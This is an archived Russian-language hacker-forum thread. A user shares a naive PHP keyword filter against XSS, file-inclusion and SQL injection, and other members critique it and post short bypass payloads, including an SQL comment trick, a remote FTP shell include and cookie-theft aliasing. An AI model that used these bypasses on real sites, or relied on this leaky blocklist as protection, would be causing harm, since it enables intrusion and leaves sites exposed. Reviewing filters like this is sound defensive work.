PDA

Просмотр полной версии : вебхак - защита


[QwyZ]
19.12.2009, 20:48
хелло ворлд, вот написал тут скриптик для своего сайта - чтобы филтровал запросы:

<?php
function split_req($s){$s=explode("&",$s);return($s);}
$request=$_SERVER['QUERY_STRING'];
$prequest=$_POST;
foreach($prequest as $pv => $pn){$preq=$preq.$pv."=".$pn;}
$request=stripslashes($preq).$request;
$request=urldecode($request);
$request=strtolower($request);
$vars=split_req($request);
$xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C");
$rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:");
$sql_attack = array("'","union","select","from","%27");
foreach($vars as $kk=>$vv)
{$cvd=explode("=",$vv);$cvn=$cvd[0];$cvv=$cvd[1];

foreach($xss_attack as $kkk=>$vvv){if (strstr($cvv,$vvv)){$xss_inf=1;$xss_poison=$vv;bre ak;}}
foreach($rfi_attack as $kkkk=>$vvvv){if (strstr($cvv,$vvvv)){$rfi_inf=1;$rfi_poison=$vv;br eak;}}
foreach($sql_attack as $kkkkk=>$vvvvv){if (strstr($cvv,$vvvvv)){$sql_inf=1;$sql_poison=$vv;b reak;}}
if ($xss_inf=="1")
{
$report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>XSS attack</i> via this request:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>" . stripslashes(htmlspecialchars($xss_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>";
$logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+");
fputs($logfile,base64_encode($report)."\n");
echo("<center><font color=red size=-1 face=tahoma>Request denied because of infected as XSS - Attack</font></center>");
exit;
}
if ($rfi_inf=="1")
{
$report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>PHP Include</i> via this request:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>" . stripslashes(htmlspecialchars($rfi_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>";
$logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+");
fputs($logfile,base64_encode($report)."\n");
echo("<center><font color=red size=-1 face=tahoma>Request denied because of infected as RFI / LFI attack</font></center>");
exit;
}
if ($sql_inf=="1")
{
$report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>SQL Injection</i> via this request:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>" . stripslashes(htmlspecialchars($sql_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>";
$logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+");
fputs($logfile,base64_encode($report)."\n");
echo("<center><font color=red size=-1 face=tahoma>Request denied because of infected as SQL - Injection attack</font></center>");
exit;
}
$xss_inf=0;
$rfi_inf=0;
$sql_inf=0;
}
?>

ну и логфайл - вьювер:

<html>
<style>
.ffl
{

border: solid 1px orange;
background-color:FFF0C6;
padding:3px;
margin-left:20px;
margin-right:20px;
}
</style>
<center><h3>Attacks logfile viewer:</h3></center><br><br>
<font face=verdana size=-1>
<?php
@$logfile=file("./logs/edbe01a269a70b0780c47bf6e11792a9.php");
$i=0;
for($i=0;$i<count($logfile);$i++)
{
$crep=stripslashes(trim(base64_decode(trim($logfil e[$i]))));
echo("<div class=ffl>".$crep."</div><br><br>");
}
?>
</font>
</html>


если че-нить пропустил или есть какие - то советы/пожелания, отпишитесь

[QwyZ]
19.12.2009, 21:10
otpisyvemsa

ReanimatoR
19.12.2009, 21:14
http://damagelab.org/dlsecure/ лучше

cr0w
19.12.2009, 21:20
Обход:
?lala=-1+/*%26*/union+select...

[QwyZ]
19.12.2009, 21:23
скачал. как откыл архив сразу бросилось в глаза то, что много файлов. 80% - морда сайта. 20% - движуха.
вот:
<?php
$bad_sql = array("union","select","from","where","insert"," or "," and ","/\*","'",);
$bad_include = array("http://","../",".php",".phtml",".php3",".php4","./",".php5",); // a gde ftp i drugie protokoly? obxod: &file=ftp://abc:cba@abc.com/shell
$bad_xss = array("<script","document.cookie","javascript:",); // a kakzhe iframe? nado http filtrovat tozhe.
$allow = array("filelink","txt");
$allow_custom = array("filelink"=>array("http://"),"url"=>array("http://"),"site"=>array("http://"),"txt"=>array("http://"),"homepage"=>array("http://"));?>

незнаю - может я че просмотрел, но невижу каких то приимуществ

joks
19.12.2009, 21:33
1.

$rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:");

NULL, ne prokatit. Ty zhe uzhe razkodiroval stroku $request=urldecode($request);

chtoby nayti null - ne "%00", a "\x00" nuzhno ispolzovat.

2.
$xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C");

eto ochen specificheskiy massiv. Est okolo sotni raznovidnostey raznogo roda XSS, v tegi mozhno vstavlat HTML commentarii /***/, tak chto etot massiv nuzhno polnostye izmenyat i ispolzovat regexpy, esli hochesh horoshuyu zashitu.

3.
$rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:");

gde smysl "http://","ftp://","://" ? dostatochno ved odnogo "://"

4.
strstr($cvv,$vvv)

strstr uchityvaet registr simvolov. Vse tvoi massivy mozhno oboyti, zameniv hot odnu bukvu na zaglavnuyu.

ispolzuy stristr togda uzhe.

5.
htmlspecialchars($_SERVER['HTTP_REFERER'])

V htmlspecialchars est baga, kotoraya mozhet polozhit tvoy server, esli PHP <= 4.3

6.
function split_req($s){$s=explode("&",$s);return($s);}

v vozvrate ostanutsa ampersandy &. Eto ne smertelno, no na budushee.

[QwyZ]
19.12.2009, 21:38
1. насчет того что там есть в фильтрах какбы дубли то это да, уберу их потом
2. strstr() функция там как раз норм, так как в самом начале еще весь реквест идет в strtolower
3. насчет htmlspecialchars() поподробнее плз
4. неостанутся амперсанды.

Ponchik
19.12.2009, 21:38
$xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C");

А какже события onlick/onmouseout/on.... а оттуда уже document.write(decode.string - или как его там, и делаем чо хочем)

joks
19.12.2009, 21:45
2. strstr() функция там как раз норм, так как в самом начале еще весь реквест идет в strtolower

da, ne zametil.

3. насчет htmlspecialchars() поподробнее плз
http://secunia.com/advisories/22653/ chtoto vrode etogo.

4. неостанутся амперсанды.

xz.. mozhet cheto putayu.

[QwyZ]
19.12.2009, 22:18
А какже события onlick/onmouseout/on.... а оттуда уже document.write(decode.string - или как его там, и делаем чо хочем)

да, надо подумать

Ponchik
19.12.2009, 22:30
Ну раз на то пошло...
ИМХО скрипт бесполезный, ну не так защищать себя от слома надо =\
Нус....
$rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:");
зачем "../" если есть "./"
зачем "http://","ftp://" если есть "://"
и document.cookie вобще бесполезен
обход:
f=document;
pe4enkiiii=f.cookies;
также
pewpew=location;pewpew.href = 'http://hacker';

[QwyZ]
19.12.2009, 22:31
1. насчет того что там есть в фильтрах какбы дубли то это да, уберу их потом
ты читать умеешь?

.Slip
19.12.2009, 22:36
Какой ужас

.:[melkiy]:.
19.12.2009, 22:46
тс, тебе нравится извращаться? :)

[QwyZ]
19.12.2009, 22:51
тс, тебе нравится извращаться?

это ты к чему?